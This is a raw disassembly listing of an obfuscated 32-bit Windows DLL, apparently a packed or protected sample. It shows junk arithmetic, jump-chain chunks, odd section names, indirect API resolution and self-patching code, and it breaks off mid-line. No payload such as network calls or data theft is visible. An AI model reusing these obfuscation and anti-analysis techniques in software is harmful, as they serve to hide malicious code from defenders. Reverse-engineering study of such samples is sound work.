10019BF9 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 1001D3B1 SIZE 00000012 BYTES xchg eax, [esp+0] pop eax push 882C2E4Bh pop esi and esi, 0BC7548C5h add esi, 4B3368E3h jnb loc_10014C38 sub ebp, 0E881A6EBh jmp loc_10014C32 sub_10017EFB endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001A6D2 loc_10017F22: ; CODE XREF: sub_1001A6D2+Aj ror eax, 1Dh xor eax, 6FBB2124h add eax, 677BDD4Ch ror eax, 12h mov edx, [esp+0] push eax mov eax, edx jmp loc_1001B48A ; END OF FUNCTION CHUNK FOR sub_1001A6D2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001DA6D loc_10017F3F: ; CODE XREF: sub_1001DA6D:loc_1001DEC4j call sub_10013999 loc_10017F44: ; CODE XREF: an.kk9rg:1001A8A2j jmp loc_1001C7B0 ; END OF FUNCTION CHUNK FOR sub_1001DA6D ; =============== S U B R O U T I N E ======================================= sub_10017F49 proc near ; CODE XREF: an.kk9rg:1001A74Fj ; sub_1001D8D9:loc_1001C741p arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 10016EC2 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10018241 SIZE 0000001D BYTES ; FUNCTION CHUNK AT 1001A646 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001DCEE SIZE 00000012 BYTES xchg ecx, [esp+0] pop ecx mov ebp, [eax] add eax, 4 mov edx, [eax] mov al, 1 call edx ; GetModuleHandleA xchg edi, [esp-4+arg_0] jmp loc_10016EC2 sub_10017F49 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001CBA8 loc_10017F60: ; CODE XREF: sub_1001CBA8-7474j ; an.kk9rg:100170DBj ... jmp loc_1001B463 ; --------------------------------------------------------------------------- loc_10017F65: ; CODE XREF: sub_100136D7:loc_10018851j ; sub_1001CBA8+7j pop ecx xchg eax, [esp-4+arg_0] mov ebp, eax pop eax retn ; END OF FUNCTION CHUNK FOR sub_1001CBA8 ; --------------------------------------------------------------------------- call loc_100195AB ; START OF FUNCTION CHUNK FOR sub_100193F2 loc_10017F72: ; CODE XREF: sub_100193F2+36FAj jmp nullsub_117 ; END OF FUNCTION CHUNK FOR sub_100193F2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10018B4A loc_10017F77: ; CODE XREF: sub_10018B4A:loc_10015B0Fj mov ebx, ebp pop ebp lea eax, sub_1001725E mov byte ptr [eax], 0C3h jmp sub_1001725E ; END OF FUNCTION CHUNK FOR sub_10018B4A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001725E loc_10017F88: ; CODE XREF: sub_1001725E+1j mov eax, [esp-4+arg_0] push ecx mov ecx, edx jmp loc_1001D2C0 ; END OF FUNCTION CHUNK FOR sub_1001725E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10014189 loc_10017F93: ; CODE XREF: sub_10014189:loc_100160BBj jz loc_1001CE4E jmp loc_1001805B ; END OF FUNCTION CHUNK FOR sub_10014189 ; --------------------------------------------------------------------------- call sub_1001CEDD ; START OF FUNCTION CHUNK FOR sub_10019F19 loc_10017FA3: ; CODE XREF: sub_10019F19+1Aj jmp loc_1001639F ; END OF FUNCTION CHUNK FOR sub_10019F19 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10018066 loc_10017FA8: ; CODE XREF: sub_10018066+16B4j jmp loc_1001C1B7 ; END OF FUNCTION CHUNK FOR sub_10018066 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013389 loc_10017FAD: ; CODE XREF: sub_10013389:loc_100186C8j jmp loc_1001B9D5 ; END OF FUNCTION CHUNK FOR sub_10013389 ; --------------------------------------------------------------------------- loc_10017FB2: ; CODE XREF: an.kk9rg:10015FF9j jmp loc_100175CA ; --------------------------------------------------------------------------- shr esi, 1Dh jmp sub_1001BBDA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100174F4 loc_10017FBF: ; CODE XREF: sub_100174F4-3B66j test ebx, 664088FFh jmp loc_10019546 ; END OF FUNCTION CHUNK FOR sub_100174F4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10016451 loc_10017FCA: ; CODE XREF: sub_10016451+11j jz loc_100186A8 jmp loc_1001893A ; END OF FUNCTION CHUNK FOR sub_10016451 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001A97E loc_10017FD5: ; CODE XREF: sub_1001A97E:loc_10019639j jnz loc_100168C3 jmp loc_100142E3 ; END OF FUNCTION CHUNK FOR sub_1001A97E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013389 loc_10017FE0: ; CODE XREF: sub_10013389+9FEAj xor ebx, eax ; END OF FUNCTION CHUNK FOR sub_10013389 ; =============== S U B R O U T I N E ======================================= sub_10017FE2 proc near ; CODE XREF: sub_1001ACA5-574Bp xchg esi, [esp+0] pop esi cmp al, 0A4h jz loc_1001C484 jmp loc_1001A444 sub_10017FE2 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 85h dd 0C4F5E9FBh, 0F181FFFFh, 0F2E9E51Eh, 5C8AE9h db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015995 loc_10018005: ; CODE XREF: sub_10015995:loc_1001AA3Dj test byte ptr [ebp-7], 8 call sub_1001B5A3 loc_1001800E: ; CODE XREF: sub_10019E2E+3B05j jmp loc_10018329 ; --------------------------------------------------------------------------- loc_10018013: ; CODE XREF: sub_10015995+50B2j jmp loc_10014D45 ; END OF FUNCTION CHUNK FOR sub_10015995 ; --------------------------------------------------------------------------- loc_10018018: ; CODE XREF: an.kk9rg:100176E5j jmp loc_1001821F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015066 loc_1001801D: ; CODE XREF: sub_10015066+7BCj jmp sub_100180C2 ; END OF FUNCTION CHUNK FOR sub_10015066 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001B4CC loc_10018022: ; CODE XREF: sub_1001B4CC-73D8j jmp loc_1001B998 ; END OF FUNCTION CHUNK FOR sub_1001B4CC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001A533 loc_10018027: ; CODE XREF: sub_1001A533+14j imul byte ptr [edx] cmp al, 0A4h jz loc_1001754F jmp loc_1001A5DD ; END OF FUNCTION CHUNK FOR sub_1001A533 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_10. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001504E loc_10018037: ; CODE XREF: sub_1001504E+AAAj jmp loc_10019F64 ; END OF FUNCTION CHUNK FOR sub_1001504E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100174F4 loc_1001803C: ; CODE XREF: sub_100174F4-4229j jmp loc_100173A6 ; END OF FUNCTION CHUNK FOR sub_100174F4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001492C loc_10018041: ; CODE XREF: sub_1001492C:loc_100168E5j pop esi adc edi, 3150A5h shr edx, 1 jmp loc_10016747 ; END OF FUNCTION CHUNK FOR sub_1001492C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001A54C loc_1001804F: ; CODE XREF: sub_1001A54C+255Dj mov eax, esp push 0 mov edx, esp push edx jmp loc_1001C6F8 ; END OF FUNCTION CHUNK FOR sub_1001A54C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10014189 loc_1001805B: ; CODE XREF: sub_10014189+3E10j cmp edi, 91366939h jmp loc_10017195 ; END OF FUNCTION CHUNK FOR sub_10014189 ; =============== S U B R O U T I N E ======================================= sub_10018066 proc near ; CODE XREF: sub_100195F3+Cp ; an.kk9rg:1001B67Cj var_4 = dword ptr -4 arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 100135B0 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 100139F6 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 10013A3E SIZE 00000017 BYTES ; FUNCTION CHUNK AT 1001437D SIZE 00000018 BYTES ; FUNCTION CHUNK AT 10014443 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10014461 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 1001582D SIZE 00000013 BYTES ; FUNCTION CHUNK AT 10015EE8 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 10016A61 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 10017532 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 10017639 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 10017FA8 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10018452 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 1001852E SIZE 00000011 BYTES ; FUNCTION CHUNK AT 10019714 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 100198A7 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10019911 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 1001C1B7 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 1001CAC7 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 1001CC20 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 1001D0C5 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 1001D3A6 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 1001D5BC SIZE 0000001B BYTES xchg edx, [esp+0] pop edx jo loc_10017639 sub al, 99h call sub_1001C67F loc_10018077: ; CODE XREF: sub_100181E1-23EAj jmp loc_1001D5BC sub_10018066 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_1001807C: ; CODE XREF: an.kk9rg:10015B8Dj jmp loc_10013A74 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100136FF loc_10018081: ; CODE XREF: sub_100136FF+10j jmp loc_100157BA ; END OF FUNCTION CHUNK FOR sub_100136FF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015086 loc_10018086: ; CODE XREF: sub_10015086:loc_100188D5j ; sub_1001537B:loc_1001B379j add esp, 8 call sub_1001C77E loc_1001808E: ; CODE XREF: sub_1001DDD5+14j jmp loc_100162CF ; END OF FUNCTION CHUNK FOR sub_10015086 ; --------------------------------------------------------------------------- loc_10018093: ; CODE XREF: an.kk9rg:loc_1001DE9Ej popf jmp loc_1001D159 ; --------------------------------------------------------------------------- loc_10018099: ; CODE XREF: an.kk9rg:100180EBj ; DATA XREF: sub_100164A2+66B5o xchg ecx, [esp] jmp loc_1001D709 ; --------------------------------------------------------------------------- loc_100180A1: ; DATA XREF: an.kk9rg:10015E29o dec dword ptr [ebp-18h] jnz loc_1001CC20 jmp loc_10014E33 ; --------------------------------------------------------------------------- loc_100180AF: ; CODE XREF: an.kk9rg:loc_1001A849j inc dword ptr [ebp-0Ch] loc_100180B2: ; CODE XREF: an.kk9rg:1001BB57j jmp loc_1001DABE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015945 loc_100180B7: ; CODE XREF: sub_10015945+Aj ; sub_10015945+7061j inc dword ptr [ebp-8] inc dword ptr [ebp-0Ch] jmp loc_1001C99A ; END OF FUNCTION CHUNK FOR sub_10015945 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_100180C2 proc near ; CODE XREF: sub_10015E0D-2533j ; sub_10018AB1:loc_10014103p ... var_14 = byte ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 ; FUNCTION CHUNK AT 10015314 SIZE 00000026 BYTES ; FUNCTION CHUNK AT 100156E1 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 100163AF SIZE 0000000B BYTES ; FUNCTION CHUNK AT 10016E27 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 1001774C SIZE 00000002 BYTES ; FUNCTION CHUNK AT 100181F1 SIZE 00000026 BYTES ; FUNCTION CHUNK AT 100182FE SIZE 0000001A BYTES ; FUNCTION CHUNK AT 1001873A SIZE 00000017 BYTES ; FUNCTION CHUNK AT 10018DC3 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10019307 SIZE 0000002C BYTES ; FUNCTION CHUNK AT 10019758 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 10019CE9 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001A0B9 SIZE 00000018 BYTES ; FUNCTION CHUNK AT 1001A233 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 1001A9C1 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 1001C0DB SIZE 0000001D BYTES ; FUNCTION CHUNK AT 1001D8C3 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001DB6E SIZE 00000014 BYTES push ebp mov ebp, esp jnb sub_10019F19 add esp, 0FFFFFFECh jmp loc_10019307 sub_100180C2 endp ; sp-analysis failed ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- loc_100180D4: ; CODE XREF: an.kk9rg:100196D8j jmp loc_100199D2 ; --------------------------------------------------------------------------- db 50h, 0EFh, 8Ah dword_100180DC dd 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013688 loc_100180E0: ; CODE XREF: sub_10013688+739Dj jmp nullsub_61 ; END OF FUNCTION CHUNK FOR sub_10013688 ; --------------------------------------------------------------------------- pop edi mov ah, 1Fh loc_100180E8: ; DATA XREF: sub_100181E1-23F0o ; sub_10019C87+5o lodsd lodsb daa jnb short loc_10018099 fdiv dword ptr [ebx] xchg eax, ecx mov eax, 8D1B91h loc_100180F5: ; CODE XREF: an.kk9rg:1001C34Ej jmp locret_10014000 ; --------------------------------------------------------------------------- push ebp jmp loc_1001505C ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_14. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10016D04 loc_10018101: ; CODE XREF: sub_10016D04+394Dj pop ecx ror ebx, 1Bh jmp loc_10019216 ; END OF FUNCTION CHUNK FOR sub_10016D04 ; --------------------------------------------------------------------------- and ecx, 5AD3FEFEh jmp loc_10017678 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_112. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001D201 loc_10018116: ; CODE XREF: sub_1001D201-7CEAj jmp loc_1001DBB7 ; END OF FUNCTION CHUNK FOR sub_1001D201 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015988 loc_1001811B: ; CODE XREF: sub_10015988-1084j jmp loc_1001D1D0 ; END OF FUNCTION CHUNK FOR sub_10015988 ; --------------------------------------------------------------------------- test al, al jz locret_10017EBF jmp loc_10014312 ; --------------------------------------------------------------------------- shl edx, 1Dh ror edx, 13h rol eax, 4 and ebp, 83902098h jmp loc_10013B47 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001AC73 loc_10018141: ; CODE XREF: sub_1001AC73-4A33j or edx, 0B96EB967h add edx, 6B884B12h push offset sub_1001836B jmp nullsub_210 ; END OF FUNCTION CHUNK FOR sub_1001AC73 ; --------------------------------------------------------------------------- push ebx push 0C7EF4713h xchg ebp, [esp] mov ebx, ebp pop ebp sub ebx, 8CA4EA9Eh jmp loc_1001DAB9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10019E2E loc_1001816E: ; CODE XREF: sub_10019E2E:loc_10018498j add edx, 393E6233h add edx, ebp add edx, 0FC93F1AEh mov edx, [edx] imul byte ptr [edx] jmp loc_10017DB3 ; END OF FUNCTION CHUNK FOR sub_10019E2E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10017A58 loc_10018185: ; CODE XREF: sub_10017A58:loc_100130A8j jz loc_10017C91 jmp loc_1001D08F ; END OF FUNCTION CHUNK FOR sub_10017A58 ; --------------------------------------------------------------------------- dword_10018190 dd 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001558A loc_10018194: ; CODE XREF: sub_1001558A+864Cj jmp loc_10014BBD ; END OF FUNCTION CHUNK FOR sub_1001558A ; --------------------------------------------------------------------------- db 0F2h, 64h, 4Fh dword_1001819C dd 0 ; sub_10013389+9Cr ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001A6F7 loc_100181A0: ; CODE XREF: sub_1001A6F7-2D06j jmp sub_1001AA74 ; END OF FUNCTION CHUNK FOR sub_1001A6F7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10016D04 loc_100181A5: ; CODE XREF: sub_10016D04-9A7j jmp loc_1001B0F9 ; END OF FUNCTION CHUNK FOR sub_10016D04 ; --------------------------------------------------------------------------- dw 0A12Bh dword_100181AC dd 0 ; an.kk9rg:10016B4Ar ... ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100130C7 loc_100181B0: ; CODE XREF: sub_10013389:loc_100133F0j ; sub_100130C7+9F88j jmp loc_1001A0F8 ; END OF FUNCTION CHUNK FOR sub_100130C7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001534D loc_100181B5: ; CODE XREF: sub_1001534D+1j jmp loc_1001383B ; END OF FUNCTION CHUNK FOR sub_1001534D ; --------------------------------------------------------------------------- loc_100181BA: ; DATA XREF: sub_10013310+1976o xor cl, [ebp-2Bh] fsub qword ptr [ebp-37h] int 3 ; Trap to Debugger and edi, [eax+0C68D32h] loc_100181C7: ; CODE XREF: an.kk9rg:100178BAj jmp loc_10014E54 ; --------------------------------------------------------------------------- dd offset off_10002000 dd 11h, 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10017A58 loc_100181DC: ; CODE XREF: sub_10017A58+152Fj jmp loc_10018706 ; END OF FUNCTION CHUNK FOR sub_10017A58 ; =============== S U B R O U T I N E ======================================= sub_100181E1 proc near ; CODE XREF: sub_1001B3A1-8383p ; sub_10015C14-2B02p ... var_4 = dword ptr -4 arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 10013128 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 100131A0 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 10013BCF SIZE 00000005 BYTES ; FUNCTION CHUNK AT 100146C7 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 10015DE7 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 1001666E SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10017EEE SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001ABE3 SIZE 0000000C BYTES jnb loc_100131A0 push 7DB45FC8h loc_100181EC: ; CODE XREF: sub_10013999:loc_100157ADj jmp loc_10013BCF sub_100181E1 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100180C2 loc_100181F1: ; CODE XREF: sub_100180C2-1D0Dj mov ds:dword_10013FFC, eax lea eax, [ebp+var_14] xor edx, edx call sub_10019030 call sub_10015860 call nullsub_3 loc_1001820A: ; CODE XREF: sub_100180C2+1256j ; sub_10019F19+14j ... mov eax, ds:dword_10013FFC mov [ebp+var_4], eax jmp loc_10018DC3 ; END OF FUNCTION CHUNK FOR sub_100180C2 ; --------------------------------------------------------------------------- popf xor esi, ebp jmp sub_10016D66 ; --------------------------------------------------------------------------- loc_1001821F: ; CODE XREF: an.kk9rg:loc_10018018j jl loc_1001899B sbb esi, 75199DA1h adc ebx, 3CDA2E53h jmp loc_1001899B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10016734 loc_10018236: ; CODE XREF: sub_10016734:loc_1001D6CAj jz loc_10017C91 jmp loc_1001C1D8 ; END OF FUNCTION CHUNK FOR sub_10016734 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10017F49 loc_10018241: ; CODE XREF: sub_10017F49+5DB2j pop eax xor eax, 5C209880h and eax, 49A61F25h or eax, 0D17036DDh push offset sub_1001357E jmp loc_1001A646 ; END OF FUNCTION CHUNK FOR sub_10017F49 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013389 loc_1001825E: ; CODE XREF: sub_10013389+1EFj push offset sub_10019409 jmp nullsub_28 ; END OF FUNCTION CHUNK FOR sub_10013389 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_10018268 proc near ; CODE XREF: sub_1001893F+848j retn sub_10018268 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015C14 loc_10018269: ; CODE XREF: sub_100188A0+15j jmp loc_1001CE31 ; END OF FUNCTION CHUNK FOR sub_10015C14 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10014A76 loc_1001826E: ; CODE XREF: sub_10014A76+15j jmp loc_1001C31E ; END OF FUNCTION CHUNK FOR sub_10014A76 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013389 loc_10018273: ; CODE XREF: sub_10013389+149j jmp loc_1001707C ; END OF FUNCTION CHUNK FOR sub_10013389 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100193F2 loc_10018278: ; CODE XREF: sub_100193F2+451Cj sub ebp, edx loc_1001827A: ; CODE XREF: sub_100193F2:loc_100138F2j mov eax, [ebp-4] cmp byte ptr [eax], 0F1h jnz loc_10014222 jmp loc_10018977 ; END OF FUNCTION CHUNK FOR sub_100193F2 ; =============== S U B R O U T I N E ======================================= sub_1001828B proc near ; CODE XREF: an.kk9rg:10013202j ; sub_10013044:loc_100137C5p arg_4 = dword ptr 8 xchg esi, [esp+0] pop esi pop ecx xchg eax, [esp-8+arg_4] mov ebp, eax pop eax retn 4 sub_1001828B endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10016D66 loc_10018299: ; CODE XREF: sub_10016D66:loc_1001468Ej ; sub_1001A6F7+92Dj jmp loc_10014704 ; END OF FUNCTION CHUNK FOR sub_10016D66 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10019E17 loc_1001829E: ; CODE XREF: sub_10019E17+11j jmp loc_10014A5A ; END OF FUNCTION CHUNK FOR sub_10019E17 ; =============== S U B R O U T I N E ======================================= sub_100182A3 proc near ; DATA XREF: sub_10013389:loc_1001387Fo call sub_10015B5D mov edx, 0E5254649h call sub_1001DECE mov ds:dword_10019664, eax jmp loc_100189C3 sub_100182A3 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013389 loc_100182BC: ; CODE XREF: sub_10013389:loc_10013B95j cmp ds:dword_10019664, 0 jnz loc_100172EA loc_100182C9: ; CODE XREF: sub_10016D04-324Bj call sub_10015B5D mov edx, 0E5254649h jmp loc_100189B9 ; END OF FUNCTION CHUNK FOR sub_10013389 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_75. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= sub_100182D9 proc near ; CODE XREF: sub_1001CC4A-6DB6p ; sub_1001C547:loc_1001900Bp ... ; FUNCTION CHUNK AT 10015BA4 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10016556 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 100196FD SIZE 00000005 BYTES jz sub_10013359 push ebp mov ebp, esp add esp, 0FFFFFFF8h mov [ebp-1], al cmp byte ptr [ebp-1], 0 jz loc_10016556 mov dword ptr [ebp-8], 1 jmp loc_100196FD sub_100182D9 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100180C2 loc_100182FE: ; CODE XREF: sub_100180C2:loc_1001976Cj mov ecx, eax xchg ecx, [esp+0Ch+var_C] lea eax, sub_1001C380 push edx mov edx, eax xchg edx, [esp+10h+var_10] push 0 push 0 jmp loc_1001A233 ; END OF FUNCTION CHUNK FOR sub_100180C2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10016734 loc_10018318: ; CODE XREF: sub_10016734-2C4Dj sub ecx, 1EF7F786h cmp ebx, 0A234C100h jmp loc_1001B844 ; END OF FUNCTION CHUNK FOR sub_10016734 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015995 loc_10018329: ; CODE XREF: sub_10015995:loc_1001800Ej xchg ebx, [esp-8+arg_4] mov ebp, ebx pop ebx retn ; END OF FUNCTION CHUNK FOR sub_10015995 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_10018330 proc near ; CODE XREF: an.kk9rg:100147C2p ; sub_1001B2CC-526Bj ; FUNCTION CHUNK AT 10013ADB SIZE 0000000A BYTES push ebp mov ebp, esp jmp loc_10013ADB sub_10018330 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001A4DF loc_10018338: ; CODE XREF: sub_1001A4DF:loc_1001DA41j neg eax cmp ax, 0A5B3h jnz loc_1001A4E8 retn ; --------------------------------------------------------------------------- loc_10018345: ; CODE XREF: sub_1001A4DF:loc_1001A4E8j sub ebx, 10000h mov eax, [ebx] jmp loc_100158A8 ; END OF FUNCTION CHUNK FOR sub_1001A4DF ; =============== S U B R O U T I N E ======================================= sub_10018352 proc near ; CODE XREF: sub_1001A51D-6372p ; an.kk9rg:1001D406j ; FUNCTION CHUNK AT 1001458B SIZE 0000000A BYTES ; FUNCTION CHUNK AT 10016D2A SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10017932 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10018A07 SIZE 0000000C BYTES xchg eax, [esp+0] pop eax mov eax, [ebp-4] mov al, [eax] jns loc_1001458B sub al, 99h mov edx, [ebp-4] jmp loc_10016D2A sub_10018352 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_1001836B proc near ; DATA XREF: sub_1001AC73-2B26o add edx, ebp add edx, 0D908B773h call sub_10014092 sub_1001836B endp ; sp-analysis failed ; START OF FUNCTION CHUNK FOR sub_1001504E loc_10018378: ; CODE XREF: sub_1001504E+7E3Ej jmp loc_1001B91F ; END OF FUNCTION CHUNK FOR sub_1001504E ; --------------------------------------------------------------------------- loc_1001837D: ; CODE XREF: an.kk9rg:1001A8CAj jmp sub_100142E8 ; --------------------------------------------------------------------------- push offset sub_1001BB72 jmp locret_1001DD45 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_59. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100175DE loc_1001838D: ; CODE XREF: sub_100175DE+12j jmp loc_10013143 ; END OF FUNCTION CHUNK FOR sub_100175DE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10016B29 loc_10018392: ; CODE XREF: sub_10016B29-D9Fj jmp nullsub_34 ; END OF FUNCTION CHUNK FOR sub_10016B29 ; --------------------------------------------------------------------------- loc_10018397: ; CODE XREF: an.kk9rg:10015CF8j jmp loc_10019780 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10016B92 loc_1001839C: ; CODE XREF: sub_10016B92:loc_10016B69j call sub_1001DECE loc_100183A1: ; CODE XREF: sub_10019E2E+3396j mov ds:dword_1001B728, eax loc_100183A6: ; CODE XREF: sub_1001B935:loc_10014724j ; sub_1001B943+C9Dj ... mov eax, ds:dword_1001B728 call sub_100174F4 mov esp, ebp jmp loc_1001ABA4 ; END OF FUNCTION CHUNK FOR sub_10016B92 ; =============== S U B R O U T I N E ======================================= sub_100183B7 proc near ; CODE XREF: sub_100183B7-691p ; an.kk9rg:1001B674j arg_14 = dword ptr 18h ; FUNCTION CHUNK AT 10017D22 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 1001AB05 SIZE 0000001A BYTES xchg edi, [esp+0] pop edi pop ebp call sub_10015469 loc_100183C1: ; CODE XREF: sub_1001BAEE+1j jmp loc_10017D22 sub_100183B7 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_100183C6: ; CODE XREF: an.kk9rg:1001935Dj jmp loc_10018FAD ; --------------------------------------------------------------------------- loc_100183CB: ; CODE XREF: an.kk9rg:10018D05j jmp locret_10016B7B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001456F loc_100183D0: ; CODE XREF: sub_1001456F+2883j xchg ecx, [edi] test ebp, ebx jmp loc_1001C8AB ; END OF FUNCTION CHUNK FOR sub_1001456F ; =============== S U B R O U T I N E ======================================= sub_100183D9 proc near ; DATA XREF: an.kk9rg:100147D1o ; FUNCTION CHUNK AT 1001CEF9 SIZE 00000005 BYTES mov ds:off_10002008, eax lea eax, sub_10014030 mov byte ptr [eax], 0C3h jmp loc_1001CEF9 sub_100183D9 endp ; --------------------------------------------------------------------------- loc_100183ED: ; CODE XREF: an.kk9rg:loc_10017DB8j ; DATA XREF: vyridizn:off_1000200Co call sub_10017DC3 jmp loc_10017DB8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10019E2E loc_100183F7: ; CODE XREF: sub_10019E2E:loc_10014001j sbb ebp, esi shr ecx, 0Ch cmp edx, 19D209Eh jmp loc_10014EFF ; END OF FUNCTION CHUNK FOR sub_10019E2E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001BC80 loc_10018407: ; CODE XREF: sub_1001BC80+D12j cmp byte ptr [eax], 0 jnz loc_1001B1C3 jmp loc_100144CA ; END OF FUNCTION CHUNK 